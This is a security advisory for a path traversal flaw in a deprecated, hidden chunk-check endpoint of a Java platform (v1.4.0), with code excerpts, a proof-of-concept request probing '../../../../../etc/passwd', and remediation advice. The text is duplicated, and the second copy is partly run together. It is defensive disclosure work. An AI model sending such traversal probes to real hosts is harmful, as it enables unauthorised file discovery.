Severity: High · CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions:v1.4.0
Summary
The chunk-check endpoint joins the request body's name field directly into a file path and returns whether that file exists and whether its size matches a caller-supplied value. Because name is not filtered, a caller can supply ../ sequences or an absolute path to probe for the existence of arbitrary files anywhere on the host and learn their exact size. The controller is marked @Deprecated and @Hidden (excluded from the Swagger UI) but is still mapped and reachable; no URI-level authorization is enforced for it.
Vulnerability chain
| Stage |
Component |
Location |
| Source |
POST /chunk/check, body FileChunkCheckDTO.name / size / chunkIndex |
FileChunkController.java:73 |
| Transform |
path = Paths.get(uploadFolder, info.getName(), chunkIndex) |
FileChunkController.java:77 |
| Sink |
new File(file).isFile() + target.length() (boolean returned to caller) |
WebUploader.java:40-41 |
The name field is concatenated into the absolute path with no canonicalization. The controller then calls chunkCheck, which performs new File(file).isFile() and compares target.length() against the request-supplied size, returning the boolean result to the caller. A traversal in name escapes uploadFolder, so the boolean response and the size match together act as an arbitrary file-existence oracle that also reveals exact file size.
Key code
The controller is reachable even though it is deprecated/hidden (@RequestMapping("/chunk"), @Hidden, @Deprecated):
// lamp-base/lamp-base-controller/.../file/controller/FileChunkController.java:41,71
@RequestMapping("/chunk")
...
@RequestMapping(value = "/check", method = RequestMethod.POST)
@ResponseBody
public R<Boolean> chunkCheck(@RequestBody FileChunkCheckDTO info) {
log.info("info={}", info);
String uploadFolder = FileTypeUtil.getUploadPathPrefix(fileProperties.getLocal().getStoragePath());
boolean chunkCheck = wu.chunkCheck(Paths.get(uploadFolder, info.getName(), String.valueOf(info.getChunkIndex())).toString(), info.getSize());
return R.success(chunkCheck);
}
The name field is an unvalidated string:
// lamp-base/lamp-base-entity/.../file/dto/chunk/FileChunkCheckDTO.java
public class FileChunkCheckDTO {
private Long size;
private String name; // unfiltered
private Integer chunkIndex;
}
The probe itself leaks existence and size:
// lamp-base/lamp-base-controller/.../file/manager/WebUploader.java:38
public boolean chunkCheck(String file, Long size) {
java.io.File target = new java.io.File(file);
return target.isFile() && size == target.length(); // :41 — existence + size oracle
}
Proof of Concept
Request-level only. By adjusting size, a caller can binary-search the exact length of any probed file. The endpoint is deprecated and @Hidden but still mapped:
POST /chunk/check HTTP/1.1
Host: <lamp-host>
Content-Type: application/json
{
"name": "../../../../../etc/passwd",
"chunkIndex": 0,
"size": 1234
}
A true response confirms the file exists and is exactly the supplied size; iterating size recovers the precise length of an arbitrary file.
Impact
A remote attacker who can reach /chunk/check can enumerate the existence of arbitrary files on the host and determine their exact size, enabling sensitive-file discovery and information disclosure. The endpoint is deprecated and excluded from the API documentation, which makes it easy to forget it is still deployed and reachable; it is also not covered by URI-level authorization.
Remediation
- Canonicalize the path (
Path.normalize() / getCanonicalFile()) and reject any result outside uploadFolder; reject name values containing .., path separators, or absolute paths at the controller boundary.
- Remove the deprecated
@Hidden chunkCheck endpoint, or hard-gate it behind authentication and authorization.
- Do not reflect a boolean file-existence result for attacker-controlled paths.
Severity: High · CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions:v1.4.0
Summary
The chunk-check endpoint joins the request body's
namefield directly into a file path and returns whether that file exists and whether its size matches a caller-supplied value. Becausenameis not filtered, a caller can supply../sequences or an absolute path to probe for the existence of arbitrary files anywhere on the host and learn their exact size. The controller is marked@Deprecatedand@Hidden(excluded from the Swagger UI) but is still mapped and reachable; no URI-level authorization is enforced for it.Vulnerability chain
POST /chunk/check, bodyFileChunkCheckDTO.name/size/chunkIndexFileChunkController.java:73Paths.get(uploadFolder, info.getName(), chunkIndex)FileChunkController.java:77new File(file).isFile()+target.length()(boolean returned to caller)WebUploader.java:40-41The
namefield is concatenated into the absolute path with no canonicalization. The controller then callschunkCheck, which performsnew File(file).isFile()and comparestarget.length()against the request-suppliedsize, returning the boolean result to the caller. A traversal innameescapesuploadFolder, so the boolean response and the size match together act as an arbitrary file-existence oracle that also reveals exact file size.Key code
The controller is reachable even though it is deprecated/hidden (
@RequestMapping("/chunk"),@Hidden,@Deprecated):The
namefield is an unvalidated string:The probe itself leaks existence and size:
Proof of Concept
Request-level only. By adjusting
size, a caller can binary-search the exact length of any probed file. The endpoint is deprecated and@Hiddenbut still mapped:A
trueresponse confirms the file exists and is exactly the supplied size; iteratingsizerecovers the precise length of an arbitrary file.Impact
A remote attacker who can reach
/chunk/checkcan enumerate the existence of arbitrary files on the host and determine their exact size, enabling sensitive-file discovery and information disclosure. The endpoint is deprecated and excluded from the API documentation, which makes it easy to forget it is still deployed and reachable; it is also not covered by URI-level authorization.Remediation
Path.normalize()/getCanonicalFile()) and reject any result outsideuploadFolder; rejectnamevalues containing.., path separators, or absolute paths at the controller boundary.@HiddenchunkCheckendpoint, or hard-gate it behind authentication and authorization.